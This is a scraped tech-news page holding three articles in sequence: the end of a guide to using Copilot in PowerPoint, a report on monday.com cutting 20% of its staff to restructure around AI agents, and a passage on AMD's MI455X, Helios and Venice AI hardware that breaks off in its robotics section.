<p class="wp-block-paragraph">Note: Your marketing department may have created one or more <a href="https://support.microsoft.com/en-US/PowerPoint/copilot/keep-your-presentation-on-brand-with-copilot" target="_blank" rel="noreferrer noopener">branded company templates for Copilot to work from</a>. If that’s the case at your organization, simply open the appropriate company template as your first step. Then you can upload docs and type a prompt as described above. Copilot will create a presentation using the branded template.</p>



<h2 class="wp-block-heading"><a></a>3. Add content from a document to a slide</h2>



<p class="wp-block-paragraph">Manually copying text or other content from a document and pasting it into a new slide is a chore. Instead, you can prompt Copilot to extract information directly from a Word document, Excel spreadsheet, or PDF to create new slides.</p>



<p class="wp-block-paragraph">In the Copilot pane, attach the document using the same steps described in tip 2, then tell Copilot to create a slide from the document. As always, it helps to provide details such as the new slide’s focus or what data to include:</p>



<ul class="wp-block-list">
<li><em>Add a slide based on the attached document.</em></li>



<li><em>Use the attached file to add a slide about the project budget that focuses on Q1 projections.</em></li>



<li><em>Summarize only the financial section of the attached document as a slide.</em></li>
</ul>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-06-generated-slide-from-spreadsheet.png?w=1024" alt="screenshot of a slide in powerpoint generated by copilot from spreadsheet data" class="wp-image-4195068" width="1024" height="612" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>A new Copilot-generated slide based on data from an Excel spreadsheet.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<h2 class="wp-block-heading"><a></a><a></a>4. Refine your slide text</h2>



<p class="wp-block-paragraph">A presentation should be visual and display only the core message. Conciseness and proper writing tone are essential for your slides, so that they don’t lose the attention of your audience.</p>



<p class="wp-block-paragraph">You can prompt Copilot to refine text on an individual slide in various ways, such as rewriting it in a more professional tone or making it more concise. Highlight the text inside a text box on the slide. On the toolbar that appears over the highlighted text, click <em>Edit with Copilot</em>.</p>



<p class="wp-block-paragraph">On the menu that opens, you can select a preset prompt to refine the text, such as <em>Condense</em> or <em>Make professional</em>. Or, at the top of this menu, you can type a prompt to rewrite the highlighted text.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-07-refine-slide-text-options-menu.png" alt="screenshot of text on a powerpoint slide with copilot dropdown menu includng condense and make professional options" class="wp-image-4195066" width="960" height="690" sizes="auto, (max-width: 960px) 100vw, 960px"><figcaption class="wp-element-caption"><p>Choose a preset prompt for refining text on a slide or type in your own prompt.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">Note that this feature affects all the text inside the text box. To rewrite only a portion of text inside a text box, you must split that portion out into a separate text box.</p>



<p class="wp-block-paragraph">Alternatively, you can prompt Copilot to analyze your entire presentation and tighten up the wording throughout all of its slides. For example:</p>



<ul class="wp-block-list">
<li><em>Make these slides more visual and use less text.</em></li>
</ul>



<h2 class="wp-block-heading">5. Find or create an image</h2>



<p class="wp-block-paragraph">If you have Copilot generate a presentation from an existing Word document that contains images, it will incorporate those images into the presentation. If there are no images in the source document, you can ask Copilot to find or create one and add it to a slide.</p>



<p class="wp-block-paragraph">To add a stock image or an image from your organization’s brand library, tell Copilot what you’re looking for:</p>



<ul class="wp-block-list">
<li><em>Add a stock photo of young adults in a cafe drinking boba tea.</em></li>



<li><em>Add a photo from our asset library of young adults in a cafe drinking boba tea.</em></li>
</ul>



<p class="wp-block-paragraph">To have Copilot create an image using Microsoft’s Designer image generation tool, describe your desired image. As always, specificity is helpful:</p>



<ul class="wp-block-list">
<li><em>Create a photorealistic image of a diverse group of 5 or 6 fashionable young adults sitting in a cafe drinking boba tea. They’re smiling or laughing, and some are looking at their phones.</em></li>
</ul>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-08-generate-image.png?w=1024" alt="screenshot of image generation prompt in copilot sidebar in powerpoint plus the resulting generated image on a slide" class="wp-image-4195097" width="1024" height="594" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Copilot in PowerPoint hooks into Microsoft’s Designer tool for image generation.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">Just as you need to review any text output from Copilot, take a close look at generated images to be sure nothing looks off. </p>



<p class="wp-block-paragraph">Also note that Copilot image generation isn’t always reliable in PowerPoint. For some time during our testing for this story, Copilot said it couldn’t create an image because “the image generation service is returning a server error on every attempt.” After about a day and a half, the service began working again.</p>



<h2 class="wp-block-heading"><a></a>6. Expand your presentation with relevant slides</h2>



<p class="wp-block-paragraph">As you’re building your presentation, you may find that it’s become text heavy. Or perhaps it could use more visually oriented slides to break things up and make its progression flow better. Copilot can generate and insert new slides that are based on the content of the slides already in the presentation.</p>



<p class="wp-block-paragraph">In the Copilot pane, specify exactly where you want the new slide to go. This helps Copilot to analyze the content of the slides before and after where you want the new slide. Then it can generate a slide to bridge between the two slides. Examples:</p>



<ul class="wp-block-list">
<li><em>Add a slide after slide 3 about our competitive advantages.</em></li>



<li><em>Add a slide after slide 11 that transitions to slide 12.</em></li>
</ul>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-09-generated-transition-slide.png?w=1024" alt="screenshot of powerpoint screen with copilot sidebar and a transition slide generated by copilot" class="wp-image-4195094" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Need a transition slide? Just ask!</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<h2 class="wp-block-heading">7. Summarize a presentation</h2>



<p class="wp-block-paragraph">Maybe you need a quick refresh of your presentation before an important meeting. Or maybe a co-worker has sent you a presentation that’s packed with lots of slides. You can prompt Copilot to generate a summary of the presentation’s overall messaging.</p>



<p class="wp-block-paragraph">In the Copilot pane, just type “<em>summarize this presentation</em>.” You can also have Copilot flag key slides that contain important information: “<em>show me key slides</em>.”</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-10-summarize-key-slides.png?w=1024" alt="screenshots of copilot sidebar in powerpoint - one with summarize results and one with key slides response" class="wp-image-4195095" width="1024" height="774" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Ask Copilot to summarize a presentation or flag key slides.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<h2 class="wp-block-heading"><a></a>8. Answer questions about a presentation</h2>



<p class="wp-block-paragraph">As you’re reviewing a presentation, especially one that you didn’t create and are not familiar with, you can get Copilot to pull key data points from its slides.</p>



<p class="wp-block-paragraph">In the Copilot pane, type specific informational questions. Examples:</p>



<ul class="wp-block-list">
<li><em>What are the action items in this deck?</em></li>



<li><em>What is the proposed budget mentioned here?</em></li>
</ul>



<p class="wp-block-paragraph">If Copilot can’t find the exact answer to the question you ask, it will provide related information from the presentation.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-11-ask-questions-about-presentation.png?w=1024" alt="screenshot of copilot sidebar in powerpoint with response to query about proposed budget in the slide deck" class="wp-image-4195093" width="1024" height="760" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Ask Copilot specific questions about the contents of a presentation.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">This method can also help you validate that your presentation includes everything you want it to. If you ask Copilot about the action items in a presentation and it can’t find any, you know you need to add them. (Copilot will likely offer to generate them for you based on the rest of the slides.)</p>



<p class="wp-block-paragraph">You can even take this tactic a step further and ask Copilot if the presentation is missing any important data, if any slides are weak or confusing, if there are any awkward transitions, if there are key points that should be better emphasized, and so on.</p>



<h2 class="wp-block-heading"><a></a>9. Help you navigate a large presentation</h2>



<p class="wp-block-paragraph">In the business world, presentations with dozens of slides are not uncommon, such as for financial reports or project documentation. Trying to find a specific slide or multiple slides can be tough. Copilot can help you navigate such a presentation.</p>



<p class="wp-block-paragraph">In the Copilot pane, prompt Copilot to find slides based on specific topics. Example:</p>



<ul class="wp-block-list">
<li><em>Show me the slides about the project timeline.</em></li>
</ul>



<p class="wp-block-paragraph">Copilot will analyze the presentation and reply with a list of links to the relevant slides. Click one of these to jump directly to that slide.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-12-navigate-presentation.png?w=1024" alt="screenshot of copilot sidebar in powerpoint with response about the slide that talks about target audience" class="wp-image-4195096" width="1024" height="760" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Copilot can help you zoom directly to a slide that covers a particular topic or shows specific data.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<h2 class="wp-block-heading"><a></a>10. Generate speaker notes and/or an FAQ</h2>



<p class="wp-block-paragraph">Here’s a great timesaver when you’re preparing to show your presentation to an audience: Copilot can automatically generate suggested speaker notes for you, based on the content of your slides. Example prompt:</p>



<ul class="wp-block-list">
<li><em>Write speaker notes for every slide with one talking point per slide.</em></li>
</ul>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-13-speaker-notes.png?w=1024" alt="screenshot of powerpoint presentation with speaker notes generated by copilot" class="wp-image-4195092" width="1024" height="607" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Copilot can create speaker notes in seconds.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">In a related feature, Copilot can create a frequently asked questions list (FAQ) for you to consult in your speaker notes or to present as a slide:</p>



<ul class="wp-block-list">
<li><em>Write an FAQ for these slides.</em></li>
</ul>



<p class="wp-block-paragraph">Copilot will ask where you want the questions and answers added — as a new slide at the end, integrated into the speaker notes of relevant slides, or somewhere else that you designate. Make a selection, and Copilot will generate the FAQ based on the content of your presentation.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-14-generated-faq-slide.png?w=1024" alt="screenshot of frequently asked questions slide generated by copilot in powerpoint" class="wp-image-4195091" width="1024" height="609" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>A Copilot-generated FAQ slide.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<h4 class="wp-block-heading"><strong>Related reading:</strong></h4>



<ul class="wp-block-list">
<li><a href="https://www.computerworld.com/article/4119411/11-cool-things-copilot-can-do-in-excel.html">11 cool things Copilot can do in Excel</a></li>



<li><a href="https://www.computerworld.com/article/4022584/9-ways-copilot-can-turbocharge-onenote.html">9 ways Copilot can turbocharge OneNote</a></li>



<li><a href="https://www.computerworld.com/article/1647230/powerpoint-for-microsoft-365-cheat-sheet.html">PowerPoint for Microsoft 365 cheat sheet</a></li>



<li><a href="https://www.computerworld.com/article/4171293/copilot-chat-your-hub-for-document-creation-and-analysis.html">Copilot Chat: Your hub for document creation and analysis</a></li>



<li><a href="https://www.computerworld.com/article/4067372/how-to-curb-hallucinations-in-copilot-and-other-genai-tools.html">How to curb hallucinations in Copilot (and other genAI tools)</a></li>



<li><a href="https://www.computerworld.com/article/3479705/how-to-use-microsoft-copilot-for-writing-in-microsoft-365-word-outlook-onenote.html">Microsoft Copilot can boost your writing in Word, Outlook, and OneNote — here’s how</a></li>



<li><a href="https://www.computerworld.com/article/1682358/microsoft-cheat-sheets-dive-into-windows-and-office-apps.html">More Microsoft tips and tutorials</a></li>
</ul>



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<title><![CDATA[Monday.com cuts 20% of its workforce to restructure for the AI era]]></title>
<description><![CDATA[Healthy software companies typically don’t suddenly eliminate one-fifth of their workforce, but monday.com is doing just that as it bets on flatter teams, AI agents, and customer implementation expertise as the winning combination in the AI era.



Monday.com co-founder and co-CEO Eran Zinman tod...]]></description>
<link>https://tsecurity.de/de/3694771/ai-nachrichten/mondaycom-cuts-20-of-its-workforce-to-restructure-for-the-ai-era/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694771/ai-nachrichten/mondaycom-cuts-20-of-its-workforce-to-restructure-for-the-ai-era/</guid>
<pubDate>Sat, 25 Jul 2026 19:50:09 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Healthy software companies typically don’t suddenly eliminate one-fifth of their workforce, but monday.com is doing just that as it bets on flatter teams, AI agents, and customer implementation expertise as the winning combination in the AI era.</p>



<p class="wp-block-paragraph">Monday.com co-founder and co-CEO Eran Zinman <a href="https://www.linkedin.com/pulse/building-mondaycom-its-next-chapter-eran-zinman-cxx4e/" target="_blank" rel="noreferrer noopener">today announced</a> the “very difficult decision” to reduce the AI work platform company’s global workforce by about 20%, or 620 people.</p>



<p class="wp-block-paragraph">The move has nothing to do with increasing margins or replacing humans with AI, he insisted in his post on LinkedIn; rather, it’s a calculated decision to trim down and hone the company’s focus as AI becomes integral to day-to-day workflows.</p>



<p class="wp-block-paragraph">“This is not a distress signal; it is a deliberate reset, disclosed with its price attached,” said <a href="https://greyhoundresearch.com/svg/" target="_blank" rel="noreferrer noopener">Sanchit Vir Gogia</a>, chief analyst at Greyhound Research. “The industry has quietly swapped the meaning of productivity, and this filing is the clearest exhibit yet.”</p>



<h2 class="wp-block-heading">A ‘significant opportunity’ in technology</h2>



<p class="wp-block-paragraph">In a <a href="https://www.sec.gov/Archives/edgar/data/1845338/000117891326003553/zk2635715.htm" target="_blank" rel="noreferrer noopener">SEC filing</a> this week, monday.com said its restructuring plan reflects the “ongoing transformation of its product, marketing, and go-to-market strategy.” The move is intended to support a “leaner, more focused operating model” as the company continues to invest in its AI-driven strategy.</p>



<p class="wp-block-paragraph">Zinman noted in his post that the company has shifted to “doing the work with AI and not just managing it,” and is focused on building environments where “people and <a href="https://www.cio.com/article/411198/how-to-launch-your-ai-projects-from-pilot-to-production-and-ensure-success.html" target="_blank">AI agents</a> [work] together in one workspace.”</p>



<p class="wp-block-paragraph">In recent months, monday.com has <a href="https://www.computerworld.com/article/3822438/monday-com-aims-to-be-an-ai-first-platform-with-latest-enhancements.html" target="_blank">evolved its products</a>, strategy, and the way it serves its customers, and Zinman contended that “the organization we built for our previous chapter is not the organization that fits the new AI era.” Monday.com needs to “execute more decisively,” take on new challenges, and quickly respond to market changes, he said.</p>



<p class="wp-block-paragraph">“We have never seen such a significant opportunity in software, driven by such exciting technology,” Zinman noted. He emphasized that the reduction is not to replace people with AI, nor to improve margins; the “vast majority” of savings will be reinvested into talent, products, and AI.</p>



<p class="wp-block-paragraph">The restructuring will result in a “flatter organization” with fewer management layers and smaller, more autonomous teams, and monday.com also has a new go-to-market model, Zinman explained. Customers expect “deeper implementation support” as they deploy AI, and the company will work more closely with customers, increase its on-site presence, create new roles, and “adapt many existing ones.” In its SEC filing, the company said it expects to continue hiring in “key strategic areas” throughout 2026.</p>



<p class="wp-block-paragraph">Workers will be expected to work better, “not harder,” Zinman noted. He pointed to several past examples where work could have been done in a few days, but instead took many months with “multiple meetings and endless friction.”</p>



<p class="wp-block-paragraph">“This wasn’t people’s fault and everyone was frustrated by this,” he said. “Our new org changes ownership to allow people to make decisions and move fast.”</p>



<p class="wp-block-paragraph">A spokesperson for monday.com declined to comment further on the staff reductions.</p>



<h2 class="wp-block-heading">Monday.com’s key market advantages</h2>



<p class="wp-block-paragraph">Monday.com certainly isn’t struggling; the company expects 19% to 20% year-over-year growth in 2026.</p>



<p class="wp-block-paragraph">“Companies in that position do not restructure because they must,” Greyhound’s Gogia noted. “They restructure because they have decided to become something else.”</p>



<p class="wp-block-paragraph"><a href="https://moorinsightsstrategy.com/team/melody-brue/" target="_blank" rel="noreferrer noopener">Melody Brue</a>, VP and principal analyst at Moor Insights &amp; Strategy, pointed out that organizational redesign is important for real AI transformation, but while it can signal confidence to the market, it can still be “devastating” to humans.</p>



<p class="wp-block-paragraph">While the company looks as though it’s trying to do right, that ultimately remains to be seen, she said. “There are often hidden internal bruises that can surface long after layoffs.”</p>



<p class="wp-block-paragraph">Monday.com’s advantage is in its “structured substrate,” Gogia noted; its boards, permissions and typed workflows give agents something firmer to act on than just documents and chat history. The company highlights its natively built agents that can be configured by any team member, as well as connectors with Claude, Microsoft Copilot, and ChatGPT, and dedicated routes for external agents to authenticate and operate.</p>



<p class="wp-block-paragraph">“For some time, the sharper enterprise question has been shifting from who has an agent to who owns the governed runtime in which an agent can safely act,” he said. “Structured work is a serious claim on that runtime.”</p>



<p class="wp-block-paragraph">But parts of monday.com’s agent estate remain in staged release, and its product is ultimately “mid-transition,” Gogia pointed out; its agent builder carried a beta label as recently as March,. Also, the company’s pricing model changed in May to a hybrid model charging for seats as well as mandatory AI credits. And, while its AI-powered no-code builder monday vibe passed $1 million in annual recurring revenue within two and a half months, monday.com has not released subsequent outcomes, usage volumes, or attach rates.</p>



<p class="wp-block-paragraph">Further, there’s an element of “gravity” with its competitors, he observed. Asana is reorganizing teams around agents, Atlassian is wiring agents into the developer estate, and others are simply bundling them into their offerings: Microsoft is doing so across the productivity stack, and ServiceNow across enterprise operations, each with identity and procurement built in.</p>



<p class="wp-block-paragraph">“Their pull is strongest exactly where monday.com wants to grow, in the largest accounts, where control-plane depth and administrative reach decide the deal,” said Gogia.</p>



<h2 class="wp-block-heading">Actions for the near-term</h2>



<p class="wp-block-paragraph">Going forward, buyers should focus on operating risk, not headline risk, Moor’s Brue noted. In practice, that’s continuity of service, roadmap consistency, and strength of enterprise support. Productivity should be valued as better outcomes per unit of organizational effort, not mere activity.</p>



<p class="wp-block-paragraph">“It should be a measure of how much smoother, faster, and more effective the operating model becomes when AI is built into the work,” said Brue.</p>



<p class="wp-block-paragraph">Gogia noted that strain surfaces first in customer service, and monday.com’s attention is being redistributed. The company’s annual report disclosed that its focus is now concentrated on the largest accounts, with support for medium-sized clients moved to an AI-first and human-supported model.</p>



<p class="wp-block-paragraph">During the first month of the transition, buyers should track named account continuity and escalation times, he advised. By the first quarter, keep an eye on whether credit governance and admin controls mature on schedule, and if the roadmap beyond the AI estate keeps pace. By the half-year mark, determine whether promised implementation depth is producing outcomes or “simply more billable engagement.”</p>



<p class="wp-block-paragraph">Support tiers should be enumerated in writing before renewal, and <a href="https://www.cio.com/article/4192312/4-recs-for-cios-to-optimize-ai-budgets-and-improve-sustainability.html" target="_blank">buyers should contract</a> for “side exits,” Gogia emphasized, with overage pricing fixed in advance, the right to pause consumption, and portability for workflows and agent configuration “if the relationship sours.” Finance should also insist on monthly consumption reporting by capability. Further, integration efforts, partner dependency, and change management should be considered first-class costs of the agent era, “not as afterthoughts to a license.”</p>



<p class="wp-block-paragraph">“A license was a known cost,” said Gogia. “A meter is a behavior, and behavior is harder to forecast than headcount.”</p>



<p class="wp-block-paragraph"><em>This article originally appeared on <a href="https://www.cio.com/article/4200330/monday-com-cuts-20-of-its-workforce-to-restructure-for-the-ai-era.html" target="_blank">CIO.com</a>.</em></p>



<p class="wp-block-paragraph"></p>
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<title><![CDATA[AMD raises the AI stakes with Helios, Venice and robotics]]></title>
<description><![CDATA[AMD executives took to the stage at its Advancing AI 2026 event in San Francisco today to detail the company’s next generation of AI infrastructure solutions, from Instinct MI455X AI accelerator GPUs and 6th Gen EPYC “Venice” CPUs, to Pensando networking, ROCm.AI software and its Helios rack-scal...]]></description>
<link>https://tsecurity.de/de/3694768/ai-nachrichten/amd-raises-the-ai-stakes-with-helios-venice-and-robotics/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694768/ai-nachrichten/amd-raises-the-ai-stakes-with-helios-venice-and-robotics/</guid>
<pubDate>Sat, 25 Jul 2026 19:50:07 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">AMD executives took to the stage at its Advancing AI 2026 event in San Francisco today to detail the company’s next generation of AI infrastructure solutions, from Instinct MI455X AI accelerator GPUs and 6th Gen EPYC “Venice” CPUs, to Pensando networking, ROCm.AI software and its Helios rack-scale platform that ties it all together.</p>



<p class="wp-block-paragraph">AMD has been working towards rack-scale AI system solutions for years. Its ZT Systems acquisition last year added valuable engineering talent and intellectual property that is now finally bearing the real fruits. Its <a href="https://www.amd.com/en/products/rackscale-solutions/helios.html" target="_blank" rel="noreferrer noopener">Helios AI platform</a> is a major platform evolution for AMD, with shipments scheduled to begin in the second half of this year (which is here and now).</p>



<p class="wp-block-paragraph">The announcements at Advancing AI show how the company has engineered its AI platform solutions for large reasoning models, sustained inference and agentic workflows. These workloads pressure memory capacity, data movement, networking and CPU orchestration. AMD’s approach is to keep as much data close to the compute engines as possible and move it more efficiently throughout the system, but there’s deeper nuance here that’s obvious versus AMD’s chief rival, NVIDIA.  </p>



<h2 class="wp-block-heading">AMD’s MI455X targets the AI memory wall</h2>



<p class="wp-block-paragraph">The Instinct MI455X GPU is the compute engine that fuels the Helios rack, and the first GPU based on AMD’s new CDNA 5 architecture. Built with a modular mix of 2nm and 3nm chiplets, it carries 432GB of HBM4 and 23.3TB/s of peak memory bandwidth.</p>



<p class="wp-block-paragraph">Compared to AMD’s current MI355X, <a href="https://hothardware.com/news/instinct-mi400-challenge-vera-rubin" target="_blank" rel="noreferrer noopener">the MI455X offers</a> 1.5 times the memory capacity, up to 2.9 times the peak memory bandwidth and up to four times the peak matrix performance with MXFP4 and MXFP8 data types, which are lower-precision numerical formats designed to accelerate AI processing while reducing memory demands. With MXFP6 (6-bit floating point), performance is rated at up to twice that of MI355X.</p>



<p class="wp-block-paragraph">AMD also shared some actual, measured internal results using production silicon. The company claims MI455X delivers 3.8 times higher FP8 decode performance, 3.5 times more measured FP4 compute performance and between 2.5 and 3.5 times more networking bandwidth than MI355X, depending on the transfer path tested. Those figures provide more context than just numerical specifications, though they remain AMD-provided comparisons that will need independent validation.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/amd-generational-leap.jpg?quality=50&amp;strip=all&amp;w=1024" alt="AMD Instinct chart showing generational leap in performance" class="wp-image-4200600" width="1024" height="547" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">AMD</p></div>



<p class="wp-block-paragraph">The architectural choices behind the numbers are important. Reasoning models and long context windows require sizeable KV caches for maintaining AI attention states, while mixture-of-experts models frequently move large amounts of data across accelerators. MI455X should let more model data, activation states and cache remain local. New dedicated IP in hardware can transfer data while the GPU continues processing, and expanded cache and multicast capabilities are designed to reduce redundant data movement to further improve efficiency.</p>



<p class="wp-block-paragraph">The aforementioned lower-precision formats can also raise throughput and reduce memory use, but model developers still have to determine where they can be applied without unacceptable accuracy loss.</p>



<h2 class="wp-block-heading">AMD’s Helios rack takes aim at Vera Rubin</h2>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/amd-helios-rack.jpg?quality=50&amp;strip=all&amp;w=1024" alt="AMD Helios rack" class="wp-image-4200601" width="1024" height="626" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Dave Altavilla</p></div>



<p class="wp-block-paragraph">Helios is AMD’s primary rack-scale competitor to NVIDIA’s Vera Rubin platform. Each liquid-cooled rack combines 72 MI455X GPUs, 18 single-socket Venice host CPUs and Pensando networking technologies.</p>



<p class="wp-block-paragraph">In its most complete, premium configuration, AMD rates Helios for 2.9 exaflops of low-precision AI compute, with 31TB of aggregate HBM4 capacity, 1.7PB/s of memory bandwidth, 260TB/s of bidirectional scale-up bandwidth and 43TB/s of scale-out bandwidth.</p>



<p class="wp-block-paragraph">These are formidable figures, but they are technical specifications rather than actual application benchmarks. The more consequential development is AMD’s move from collections of eight-GPU servers to a 72-GPU shared-memory domain. Models too large for one node can operate across the rack without treating every exchange as a scale-out networking transaction, which benefits large-model inference as well as training.</p>



<p class="wp-block-paragraph">AMD uses UALink over Ethernet, or UALoE, for an open standard scale-up fabric. Each MI455X provides 3.6TB/s of bidirectional scale-up bandwidth, while the complete rack delivers all-to-all connectivity through a single switch layer. AMD also claims six times more scale-out bandwidth per GPU than MI355X when MI455X is configured with three Pensando Vulcano 800 AI NICs.</p>



<p class="wp-block-paragraph">While open standards give cloud providers more control over suppliers and system design, AMD and its partners now have to prove those components can deliver the predictable performance, reliability and deployment experience customers expect from a tightly controlled, more vertically integrated platform.</p>



<p class="wp-block-paragraph">Finally, AMD designed Helios with automatic rerouting around failed links, virtual rack partitions, tray-level serviceability and rack-wide power, cooling and health monitoring. Major hyperscalers and potentially large-scale enterprise customers will likely key in on these capabilities, which can affect the availability, total cost and consistency of the AI services they consume.</p>



<h2 class="wp-block-heading">Kind of like cowbell, AMD Venice gives agentic AI more CPU</h2>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/amd-epyc-venice-cpus.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Chart showing AMD EPYC CPU performance" class="wp-image-4200603" width="1024" height="515" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">AMD</p></div>



<p class="wp-block-paragraph">AMD’s agentic CPU messaging regarding its upcoming Venice-based EPYC processors is mostly marketing speak, but the underlying requirement is very real. An AI agent can invoke retrieval, databases, security checks, code execution and other tools before a GPU generates a response. Running many agents concurrently increases the amount of conventional compute requirements surrounding the accelerators.</p>



<p class="wp-block-paragraph">Venice scales to 256 Zen 6 cores with support for 512 threads, 16 memory channels, up to 1GB of L3 cache per socket, along with PCIe 6.0 and CXL 3.1 connectivity. AMD is also offering several Venice configurations for other applications, including general-purpose servers, high-frequency workloads, GPU hosts and high-density CPU sandbox systems used to execute agent tools.</p>



<p class="wp-block-paragraph">Treating the CPU solely as a GPU host understates its role. Gateways, tokenization, vector search, databases and short-lived code execution stress different mixes of per-core performance, thread count, memory bandwidth and I/O. Specifically, AMD’s internal testing shows Venice significantly outperforming its current EPYC 9965 Turin CPU across five parts of the agentic AI pipeline, including gateway processing, context assembly, vector search, enterprise applications and short-lived tool execution. Individual gains vary by workload, but AMD details the overall generational improvement at up to a 1.7 times lift. As with the MI455X figures though, these comparisons come from AMD and will require independent validation.</p>



<h2 class="wp-block-heading">Pensando networking and ROCm software advance</h2>



<p class="wp-block-paragraph">Keeping GPUs fed with data and coordinating traffic across racks directly affects utilization and operating costs. In fact, GPU utilization is a pretty sad state of affairs currently for some of the major frontier model providers.</p>



<p class="wp-block-paragraph">As such, Pensando networking has become central to AMD’s roadmap. Helios can connect each MI455X to as many as three 800Gbps Vulcano AI NICs, while Salina DPUs handle front-end networking and infrastructure services.</p>



<p class="wp-block-paragraph">On the software side, which is an equally critical component, AMD also introduced ROCm.AI, an AI-assisted development layer due to arrive in August. It includes reusable skills for coding agents, simplified management and Hyperloom, which can profile workloads, tune serving configurations, modify kernels and validate results.</p>



<p class="wp-block-paragraph">These tools address two persistent AMD challenges: developer efficiency and ease of use, and software tuning. Automated optimization still has to produce repeatable gains without creating hard-to-maintain code, however. And while ROCm has progressed significantly over the last few years, NVIDIA’s CUDA retains an advantage in maturity, tooling and developer familiarity.</p>



<h2 class="wp-block-heading">Customer commitments underscore rack-scale confidence</h2>



<p class="wp-block-paragraph">AMD now has commitments that give its MI450 generation and Helios considerably more weight. Meta and OpenAI have announced multi-generation agreements composed of up to 6GW of AMD compute capacity, with initial 1GW deployments planned for the second half of 2026.</p>



<p class="wp-block-paragraph">Oracle plans a 50,000-GPU public cloud cluster beginning in the third quarter, while Microsoft will deploy Helios for Azure AI inference. Finally, just before the AMD event, <a href="https://ir.amd.com/news-events/press-releases/detail/1292/amd-and-anthropic-announce-strategic-partnership-to-deploy-up-to-2-gigawatts-of-amd-instinct-mi450-series-gpus" target="_blank" rel="noreferrer noopener">Anthropic announced</a> a strategic partnership for up to 2 Gigawatts of AMD-fueled AI compute, with its first gigawatt expected online in the first half of 2027.</p>



<p class="wp-block-paragraph">Commitments of this scale reflect confidence in more than just MI455X performance. These customers are evaluating the complete architecture, including Venice CPUs, Pensando networking, ROCm software, rack integration, serviceability and AMD’s ability to deliver and execute across multiple product generations.</p>



<p class="wp-block-paragraph">There is some financial alignment behind the agreements as well. AMD issued OpenAI performance-based warrants and committed to investing up to $5 billion in Anthropic. That context matters when evaluating these deals as market validation, but these planned deployments are substantial nonetheless and put Helios on a much stronger foundation as it begins shipping.</p>



<h2 class="wp-block-heading">AMD expands its robotics and embedded foundation</h2>



<p class="wp-block-paragraph">AMD also expanded its physical AI portfolio, building on credible traction from its Xilinx-derived Kria adaptive system-on-modules and embedded technologies that are already powering robotics, machine vision and industrial automation applications.</p>



